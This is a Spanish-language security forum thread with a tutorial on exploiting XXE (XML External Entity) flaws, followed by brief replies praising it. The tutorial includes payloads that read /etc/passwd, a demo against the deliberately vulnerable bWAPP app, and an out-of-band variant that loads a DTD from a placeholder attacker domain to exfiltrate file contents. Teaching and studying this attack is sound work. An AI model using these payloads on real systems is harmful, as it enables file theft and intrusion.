Entendiendo y explotando XXE (External XML Entities)

Iniciado por Jimeno, Mayo 29, 2015, 02:33:59 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 29, 2015, 02:33:59 PM Ultima modificación: Mayo 29, 2015, 02:36:06 PM por Jimeno
Buenas.
Tras varios meses viendo reportes de este tipo de vulnerabilidad a grandes sitios se me hace raro no ver una guía sobre ello en español, por ello estoy creando este post.
Siendo una de las vulnerabilidades más extendidas se ha ido haciendo famosa la frase "Is XXE the new SQLi?", en mi opinión lo es.

¿Qué es XXE?
Es un ataque contra una aplicación que interpreta entradas XML. El ataque es posible cuando la forma de interpretar el XML permite incluir entidades externas debido a su mala configuración. Puede llevar a lectura de archivos locales, descubrimiento y mapeo de red interna, denegaciones de servicio, etc.

¿Es XXE una vulnerabilidad extendida?
Sí. En los últimos meses se han visto reportes a Yahoo, eBay, Google, Shopify y muchas más empresas "gigantes".


Puntos de detección
Suele ser común encontrarla en los siguientes Content-Types: text/xml, application/xml.
Aunque también puede darse al parsear un documento Word (son muchos archivos .xml) unidos y comprimidos o en JSON que luego se parsea en forma de XML.


¿Cómo se explota XXE?
Se trata de malformar las peticiones con XML de forma que añadamos funcionalidades al intérprete de XML como leer un archivo local y enviar su contenido a un servidor externo (/etc/passwd).

Por ejemplo, una petición legítima estaría formada de la siguiente manera:
Código: xml

<forgot><username>admin</username></forgot>


Con las siguientes cabeceras:

Código: php
POST /forgotpw HTTP/1.1
Host: testhtml5.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://PAGINAVULNERABLE.COM
Content-Length: 43
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


Nuestro objetivo para comprobar si es vulnerable es incluir nuestras propias etiquetas XML, como por ejemplo:
Código: php

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE etiqueta [ 
  <!ELEMENT etiqueta ANY >
  <!ENTITY entidad SYSTEM "file:///etc/passwd" >]><etiqueta>&entidad;</etiqueta>


De esta forma podremos leer cualquier archivo para el que el usuario que controla la aplicación tenga acceso, llamar a cualquier binario (ls, ping, ifconfig, nmap, rm, touch.... hay infinitas posibilidades), llamar a diferentes protocolos, como por ejemplo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ssh://, etc.

Explotación práctica (demo)
Para realizar la demo he elegido una aplicación web que es vulnerable por diseño: bWAPP


  • bWAPP
    Al acceder a la ruta vulnerable http://URL/bWAPP/xxe-1.php nos encontramos la siguiente aplicación web:


    Si llevamos a cabo la acción "deseada" por la web obtenemos una petición como la siguiente:

    Si queremos comprobar si es vulnerable trataremos de introducir una entidad externa y ver si nos devuelve un error o la procesa. Si hay error será que no es vulnerable, si por el contrario la procesa podremos seguir adelante con la explotación.
    Para esta demo solicitaré a la aplicación el fichero /etc/passwd mediante entidades XML. Modificaré el contenido de la petición para añadirlo, quedando así:
Código: php

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY valor SYSTEM "///etc/passwd"> ]>
<reset><login>&valor;</login><secret>Any bugs?</secret></reset>


Si procesamos la petición veremos que hemos tenido éxito y que hemos obtenido el contenido del fichero:


Ahora solo tendríamos que extender la explotación como quisiéramos, ya sea leyendo más archivos hasta obtener credenciales de acceso, escribiendo en archivos, llamando a protocolos, provocando un DoS al servidor.... sería dar rienda suelta a la imaginación.


Una de las opciones más usadas es solicitar al servidor un archivo como /etc/passwd y que envíe su contenido a un servidor en el que nosotros tengamos control de los logs o solicitar que se conecte a un .dtd que controlemos en nuestro servidor y que sea él quien le pida el contenido del archivo que deseamos leer.

Este podría ser nuestro DTD-PART
Código: php

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///"%three;"'>">


Y este el payload que enviamos a la aplicación:
Código: php

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
  <!ENTITY % one SYSTEM "http://DOMINIO-ATACANTE.COM/dtd-part" >
  %one;
  %two;
  %four;
]>



Saludos y hasta la próxima.
Contacto: @migueljimeno96 -

Buen post!, guias en español ahí sobre el xxe, yo escribi una hace unos meses.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Te dejo otra que tiene muy buena pinta tambien.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Twitter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Buen post te dejo +1 :D
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Excelente post.
Gracias por compartirlo y sigue así. ;D

Un Saludo.
Nunca consideres el estudio como una obligación, sino como una oportunidad para adentrarse en el maravilloso mundo del saber.

Excelente post, te felicito Jimeno

Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Claro y práctico. Muchas gracias, buen aporte.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.